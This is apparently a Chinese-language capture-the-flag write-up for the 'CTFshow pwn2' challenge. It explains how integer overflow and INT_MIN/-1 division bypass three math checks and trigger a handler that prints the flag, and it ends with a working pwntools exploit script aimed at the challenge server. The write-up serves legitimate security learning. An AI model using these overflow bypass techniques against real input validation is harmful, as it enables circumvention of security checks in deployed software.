主函数内容如下:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
alarm(0x3Cu);
setvbuf(stdout, 0LL, 2, 0LL);
puts("CTFshow pwn2");
puts("Can you help me to solve some eazy math problem?");
if ( (unsigned int)sub_9C0() && (unsigned int)sub_AEE() && (unsigned int)sub_BA3() )
puts("That's impossible!");
else
puts("Baka!");
return 0LL;
}
题目的目的是,满足判断语句中的三个函数的结果为真。
第一个函数:
_BOOL8 sub_9C0()
{
int v1; // [rsp+8h] [rbp-38h]
int v2; // [rsp+Ch] [rbp-34h]
char s[8]; // [rsp+10h] [rbp-30h]
__int64 v4; // [rsp+18h] [rbp-28h]
__int64 v5; // [rsp+20h] [rbp-20h]
int v6; // [rsp+28h] [rbp-18h]
__int16 v7; // [rsp+2Ch] [rbp-14h]
unsigned __int64 v8; // [rsp+38h] [rbp-8h]
v8 = __readfsqword(0x28u);
puts("1.a-b=9,0<=a<9,0<=b<9");
*(_QWORD *)s = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0;
v7 = 0;
printf("a:");
__isoc99_scanf("%20s", s);
if ( strchr(s, 45) )
return 0LL;
v1 = atoi(s);
printf("b:", 45LL);
__isoc99_scanf("%20s", s);
if ( strchr(s, 45) )
return 0LL;
v2 = atoi(s);
return v1 <= 8 && v2 <= 8 && v1 - v2 == 9;
}
让a得8,b得负1即可。
因为过滤了“-”,且输入的b最后转为int型,所以为0xffffffff。
第二个函数:
_BOOL8 sub_AEE()
{
int v1; // [rsp+0h] [rbp-10h]
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("2.a*b=9,a>9,b>9");
printf("a:");
__isoc99_scanf("%d", &v1);
printf("b:", &v1);
__isoc99_scanf("%d", &v2);
return v1 > 9 && v2 > 9 && v1 * v2 == 9;
}
让a和b的值相乘得即可。这里用factordb.com对该数分解,得到89209和48145。0x100000009
第三个函数:
__int64 sub_BA3()
{
int v1; // [rsp+Ch] [rbp-14h]
int v2; // [rsp+10h] [rbp-10h]
int v3; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("3.a/b=ERROR,b!=0");
printf("a:");
__isoc99_scanf("%d", &v1);
printf("b:", &v1);
__isoc99_scanf("%d", &v2);
if ( v2 )
{
signal(8, (__sighandler_t)handler);
v3 = v1 / v2;
signal(8, 0LL);
}
return 0LL;
}
这里可以看出,如果满足条件,且v2的值不得0,则会调用题目的后门函数:
void __noreturn handler()
{
puts("You are so clever!");
system("cat flag");
exit(0);
}
32位int最小的负数值为0x80000000(也就是-2147483648),除以-1的话,得到的商2147483648是一个无法被表示的数,会报错。
最终exp如下:
from pwn import *
elf = ELF('./pwn2')
local = 0
if local == 1:
io = process('./pwn2')
else:
io = remote('pwn.challenge.ctf.show',28108)
io.recvuntil('a:')
io.sendline(str(8))
io.recvuntil('b:')
io.sendline(str(0xffffffff))
io.recvuntil('a:')
io.sendline(str(89209))
io.recvuntil('b:')
io.sendline(str(48145))
io.recvuntil('a:')
io.sendline(str(-2147483648))
io.recvuntil('b:')
io.sendline(str(-1))
io.interactive()